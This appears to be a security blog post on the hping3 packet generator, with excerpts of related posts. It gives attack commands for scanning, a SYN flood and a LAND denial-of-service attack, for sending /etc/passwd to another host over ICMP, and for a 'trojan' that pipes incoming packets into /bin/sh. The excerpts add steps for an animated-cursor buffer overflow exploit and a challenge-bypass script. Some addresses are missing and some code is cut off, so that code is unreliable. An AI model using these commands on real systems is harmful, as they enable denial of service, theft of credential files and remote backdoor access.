Skip to main content


Hping3 And Hping2
hping is a free packet generator and analyzer for the TCP/IP protocol. Hping is one of the de-facto tools for security auditing and testing of firewalls and networks, and was used to exploit the Idle Scan scanning technique now implemented in the Nmap port scanner. The new version of hping, hping3, is scriptable using the Tcl language and implements an engine for string based, human readable description of TCP/IP packets, so that the programmer can write scripts related to low level TCP/IP packet manipulation and analysis in a very short time. Like most tools used in computer security, hping is useful to security experts, but there are a lot of applications related to network testing and system administration.
since version 3, that's now in alpha stage, hping is trying to not be just a little tool but to become a framework for scripting related to TCP/IP testing and security. hping3 continues to be command-line compatible with hping2, but integrates two main new things: the first is an engine called APD that is able to translate simple packet descriptions in the form of strings into a packet ready to be sent, and the reverse (generate the representation from a real packet). The second is the Tcl scripting language. So you can imagine hping3 as a scriptable TCP/IP stack
Example Script:

set srcaddr
foreach destaddr {} {
foreach ttl {1 2 3 4} {
hping send "ip(saddr=$srcaddr,daddr=$destaddr,ttl=$ttl)+icmp(type=8,code=0,id=5,seq=10)+data(str[string repeat X 28])"

hping2 was used (in the past) to... 
• Traceroute/ping/probe hosts behind a firewall that blocks attempts using the standard utilities.
• Perform the idle scan (now implemented in nmap with an easy user interface).
• Test firewalling rules.
• Test IDSes.
• Exploit known vulnerabilties of TCP/IP stacks.
• Networking research.
• Learn TCP/IP (hping was used in networking courses AFAIK).

 hping3 should be used to...
• Write real applications related to TCP/IP testing and security.
• Automated firewalling tests. • Proof of concept exploits.
• Networking and security research when there is the need to emulate complex TCP/IP behaviour.
• Prototype IDS systems.
• Simple to use networking utilities with Tk interface.
• All the usage of hping2

1)Hping as Port Scanner
hping3 -S -p 80
hping3 -S -p ++20 (it will increase the value of port to plus one on every iteration)

All known NMAP scanning techniques can be easily reproduced (accept a CONNECT scan), but a finer (don’t get me wrong, not a bad word about NMAP!!!) control on the packets can be obtained

2)Idle Scanning 
Idle scanning is a technique to portscan a remote system fully anonymous.
hping3  -a -S -p ++20
hping3 -r -S -p 2000

hping can be used for traceroute and firewall study also.
hping3  -z -t 6 -S  -p 143

4)SYN Attack
hping3 -a -S -p 80 -i u1000

5)LAND Attack
Type of Denial of service attack.Not very effective these days but can waste resources .
hping3 -S  -a -p 21

6)Packets with signatures
cat /root/signature.sig
"Vishal Mishra"

hping3 -2 -p 7 -d 50 -E /root/signature.sig
Now have a look at the packet dump capture via Wireshark

7)Transferring a file 

hping3 --listen signature --safe  --icmp
On Source machine type following now

hping3 --icmp –d 100 --sign signature --file /etc/passwd
on the other site you must ‘sign’ the packet, with the signature used at the receiving site.

8)Hping As a Trojan
hping3 --listen signature --safe --udp -p 53 |/bin/sh

hping3 -p 53 -d 100 --udp --sign siganature --file


Popular posts from this blog

Animated Cursor Vulnerability

Step1: create two file on attacker side 1) default index.html and 2) cursor file to load

Now save the proof of concept in a txt file(cursor.txt). use above command to cut down the hex part from proof of concept and paste it in buffer.ani
Step2:upload the above two files in your apache webserver. 
Step3: Try to open index.html from window-xp and analyse the behavior of IE using ollydgb in order to find the offset address where EIP will get over written. Attach IE in ollydgb and put malicious url in it.

As we can see now that EIP is overwritten with 42424242 that means this place is our offset.
Now we will put the address of jump instruction in place of 42424242 which we will get from user32.dll by searching for command JUMP DWORD [EBX],now we jumped at ebx because it contain the malicious .ani file address.

Just go into view=>executable=>user32.dll , press enter.

Now try to find a jump [ebx] instruction in user32.dll by pressing ctrl+f.Now note down the address of this instruction.…

Hacking Windows 10 UWP App: DLL Injection & common Vulnerabilities

I recently started working on  widows 10 Apps( Apps not Applications) security. Before diving deep in hacking terms lets try to understand what's new in Windows 10 UWP( Universal Platform) as compared to old Apps. Lets begin with how apps actually work on windows 10(desktop/tablet). Now windows 10 comes with a container only for running apps inside the isolated environment. By default, /APPCONTAINER(Linker Flag) is off. This option modifies an executable to indicate whether the app must be run in the appcontainer process-isolation environment. Specify /APPCONTAINER for an app that must run in the appcontainer environment—for example, a Windows Store app. (The option is set automatically in Visual Studio when you create a Windows Store app from a template.) For a desktop app, specify /APPCONTAINER:NO or just omit the option. The /APPCONTAINER option was introduced in Windows 8.
Now there is no registry entry concept for these app in the System HIVE rather they install they own hiv…

Assignment 01(Enroll TO Offensive-Security Course)

Steps 1:download the page.
2:open fc4.js in your favourite editor and add following lines in it or just replace it with vode given below.
3:then open the download html file in browser and fill the form with your email and a garbage value string.
4:thats it? it will show you the real security string??
yeah but  ...theirs another challenge waiting for you ... :D

function fc4me(srvstr) {

   if(! || !document.pleazfc4me.securitystring.value) {
      alert("Please fill in all the required fields!");
      return false;
   else {
   var t=hexMD5("\x74\x72\x79\x68\x61\x72\x64\x65\x72"+srvstr)

Finally Got In :-)